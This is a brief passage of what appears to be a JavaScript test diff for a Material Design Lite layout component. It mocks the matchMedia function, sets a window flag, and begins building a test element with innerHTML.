window.MaterialLayout.prototype.matchMedia_ = MockMediaQueryList.mockMatchMedia; + window.patched = 'yes patched'; + + el = document.createElement('div'); el.innerHTML = '
    ' + - '